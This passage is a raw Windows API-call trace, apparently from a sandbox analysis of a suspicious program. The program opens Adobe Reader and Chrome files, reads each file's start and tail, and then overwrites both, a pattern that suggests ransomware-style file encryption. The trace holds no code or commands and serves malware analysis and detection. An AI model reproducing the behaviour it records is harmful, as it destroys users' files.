LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2b0d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0043.565] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2b0f894) [0043.566] RtlUnwind (TargetFrame=0x2b0f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2b0f378, ReturnValue=0x0) [0043.566] RtlUnwind (TargetFrame=0x2b0f920, TargetIp=0x407184, ExceptionRecord=0x2b0f378, ReturnValue=0x0) [0043.566] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1041.mst" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\setup files\\{ac76ba86-7ad7-ffff-7b44-aa0000000001}\\1041.mst")) returned 0x21 [0043.566] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1053.mst" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\setup files\\{ac76ba86-7ad7-ffff-7b44-aa0000000001}\\1053.mst"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0043.566] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1053.mst", nBufferLength=0x104, lpBuffer=0x2b0f694, lpFilePart=0x2b0f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1053.mst", lpFilePart=0x2b0f690*="1053.mst") returned 0x64 [0043.566] GetLastError () returned 0x5 [0043.566] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x2b0f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨pʰ폈Hʰ퐔HʰLʰꠐǦ\x01") returned 0x13 [0043.566] LocalFree (hMem=0x70b5a8) returned 0x0 [0043.566] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2b0d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0043.566] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2b0f894) [0043.567] RtlUnwind (TargetFrame=0x2b0f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2b0f378, ReturnValue=0x0) [0043.567] RtlUnwind (TargetFrame=0x2b0f920, TargetIp=0x407184, ExceptionRecord=0x2b0f378, ReturnValue=0x0) [0043.567] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1053.mst" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\setup files\\{ac76ba86-7ad7-ffff-7b44-aa0000000001}\\1053.mst")) returned 0x21 [0043.567] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\setup.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\setup files\\{ac76ba86-7ad7-ffff-7b44-aa0000000001}\\setup.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0043.567] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\setup.ini", nBufferLength=0x104, lpBuffer=0x2b0f694, lpFilePart=0x2b0f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\setup.ini", lpFilePart=0x2b0f690*="setup.ini") returned 0x65 [0043.567] GetLastError () returned 0x5 [0043.567] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x2b0f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨pʰ폈Hʰ퐔HʰLʰꠐǦ\x01") returned 0x13 [0043.567] LocalFree (hMem=0x70b5a8) returned 0x0 [0043.567] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2b0d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0043.567] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2b0f894) [0043.567] RtlUnwind (TargetFrame=0x2b0f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2b0f378, ReturnValue=0x0) [0043.567] RtlUnwind (TargetFrame=0x2b0f920, TargetIp=0x407184, ExceptionRecord=0x2b0f378, ReturnValue=0x0) [0043.567] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\setup.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\setup files\\{ac76ba86-7ad7-ffff-7b44-aa0000000001}\\setup.ini")) returned 0x21 [0043.568] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\chrome_child.dll.sig" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\chrome_child.dll.sig"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d0 [0044.221] SetFilePointer (in: hFile=0x1d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0044.221] SetFilePointer (in: hFile=0x1d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x57f [0044.221] SetFilePointer (in: hFile=0x1d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0044.224] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.225] ReleaseMutex (hMutex=0x128) returned 1 [0044.226] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="chrome_child.dll.sig", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0044.226] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="chrome_child.dll.sig", cchWideChar=20, lpMultiByteStr=0x1e7894c, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="chrome_child.dll.sig", lpUsedDefaultChar=0x0) returned 20 [0044.226] ReadFile (in: hFile=0x1d0, lpBuffer=0x1dfcd08, nNumberOfBytesToRead=0x57f, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesRead=0x2b0f2bc*=0x57f, lpOverlapped=0x0) returned 1 [0044.326] SetFilePointer (in: hFile=0x1d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0044.326] WriteFile (in: hFile=0x1d0, lpBuffer=0x25c5dd8*, nNumberOfBytesToWrite=0xb07, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x25c5dd8*, lpNumberOfBytesWritten=0x2b0f2d0*=0xb07, lpOverlapped=0x0) returned 1 [0044.327] CloseHandle (hObject=0x1d0) returned 1 [0044.327] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\am.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\am.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d0 [0044.327] SetFilePointer (in: hFile=0x1d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0044.327] SetFilePointer (in: hFile=0x1d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x6f4e0 [0044.327] SetFilePointer (in: hFile=0x1d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0044.327] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.327] ReleaseMutex (hMutex=0x128) returned 1 [0044.327] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="am.pak", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0044.327] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="am.pak", cchWideChar=6, lpMultiByteStr=0x1e6a7a4, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="am.pak", lpUsedDefaultChar=0x0) returned 6 [0044.327] ReadFile (in: hFile=0x1d0, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x2b0f278*=0x8000, lpOverlapped=0x0) returned 1 [0044.333] SetFilePointer (in: hFile=0x1d0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x6e4e0 [0044.333] ReadFile (in: hFile=0x1d0, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.341] SetFilePointer (in: hFile=0x1d0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x6e4e0 [0044.341] WriteFile (in: hFile=0x1d0, lpBuffer=0x2735a68*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2735a68*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0044.341] SetFilePointer (in: hFile=0x1d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0044.341] WriteFile (in: hFile=0x1d0, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x2b0f28c*=0x8000, lpOverlapped=0x0) returned 1 [0044.342] CloseHandle (hObject=0x1d0) returned 1 [0044.342] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\en-US.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\en-us.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0044.346] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0044.346] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x42442 [0044.346] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0044.346] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.346] ReleaseMutex (hMutex=0x128) returned 1 [0044.346] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="en-US.pak", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0044.346] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="en-US.pak", cchWideChar=9, lpMultiByteStr=0x1e6338c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="en-US.pak", lpUsedDefaultChar=0x0) returned 9 [0044.347] ReadFile (in: hFile=0x168, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x2b0f278*=0x8000, lpOverlapped=0x0) returned 1 [0044.352] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x41442 [0044.352] ReadFile (in: hFile=0x168, lpBuffer=0x25c7dd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.361] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x41442 [0044.361] WriteFile (in: hFile=0x168, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0044.361] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0044.361] WriteFile (in: hFile=0x168, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x2b0f28c*=0x8000, lpOverlapped=0x0) returned 1 [0044.362] CloseHandle (hObject=0x168) returned 1 [0044.362] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\hi.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\hi.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0044.362] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0044.362] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0xa3281 [0044.362] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0044.362] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.362] ReleaseMutex (hMutex=0x128) returned 1 [0044.363] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="hi.pak", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0044.363] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="hi.pak", cchWideChar=6, lpMultiByteStr=0x1e6a7a4, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hi.pak", lpUsedDefaultChar=0x0) returned 6 [0044.363] ReadFile (in: hFile=0x168, lpBuffer=0x260fc18, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x2b0f278*=0xf000, lpOverlapped=0x0) returned 1 [0044.369] ReadFile (in: hFile=0x168, lpBuffer=0x260fc18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.378] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0xa2281 [0044.378] ReadFile (in: hFile=0x168, lpBuffer=0x2736c68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x2736c68*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.387] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0xa2281 [0044.388] WriteFile (in: hFile=0x168, lpBuffer=0x2734c38*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2734c38*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0044.388] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0044.388] WriteFile (in: hFile=0x168, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x2b0f28c*=0xf000, lpOverlapped=0x0) returned 1 [0044.388] WriteFile (in: hFile=0x168, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x2b0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0044.388] CloseHandle (hObject=0x168) returned 1 [0044.388] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\ml.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\ml.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0044.395] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0044.395] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0xccccc [0044.395] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0044.395] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.395] ReleaseMutex (hMutex=0x128) returned 1 [0044.395] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ml.pak", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0044.395] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ml.pak", cchWideChar=6, lpMultiByteStr=0x1e6a7a4, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ml.pak", lpUsedDefaultChar=0x0) returned 6 [0044.395] ReadFile (in: hFile=0x1cc, lpBuffer=0x260fc18, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x2b0f278*=0xf000, lpOverlapped=0x0) returned 1 [0044.400] ReadFile (in: hFile=0x1cc, lpBuffer=0x260fc18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.402] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0xcbccc [0044.402] ReadFile (in: hFile=0x1cc, lpBuffer=0x25c7dd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.412] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0xcbccc [0044.413] WriteFile (in: hFile=0x1cc, lpBuffer=0x2734c38*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2734c38*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0044.414] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0044.414] WriteFile (in: hFile=0x1cc, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x2b0f28c*=0xf000, lpOverlapped=0x0) returned 1 [0044.414] WriteFile (in: hFile=0x1cc, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x2b0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0044.414] CloseHandle (hObject=0x1cc) returned 1 [0044.414] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\sk.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\sk.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0044.415] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0044.415] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x5402d [0044.415] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0044.415] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.415] ReleaseMutex (hMutex=0x128) returned 1 [0044.415] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sk.pak", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0044.415] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sk.pak", cchWideChar=6, lpMultiByteStr=0x1e6a7a4, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sk.pak", lpUsedDefaultChar=0x0) returned 6 [0044.415] ReadFile (in: hFile=0x1cc, lpBuffer=0x1de4de8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de4de8*, lpNumberOfBytesRead=0x2b0f278*=0x8000, lpOverlapped=0x0) returned 1 [0044.427] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x5302d [0044.428] ReadFile (in: hFile=0x1cc, lpBuffer=0x2734c38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x2734c38*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.431] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x5302d [0044.431] WriteFile (in: hFile=0x1cc, lpBuffer=0x1dece18*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dece18*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0044.432] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0044.432] WriteFile (in: hFile=0x1cc, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x2b0f28c*=0x8000, lpOverlapped=0x0) returned 1 [0044.432] CloseHandle (hObject=0x1cc) returned 1 [0044.432] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\vi.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\vi.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0044.436] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0044.436] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: 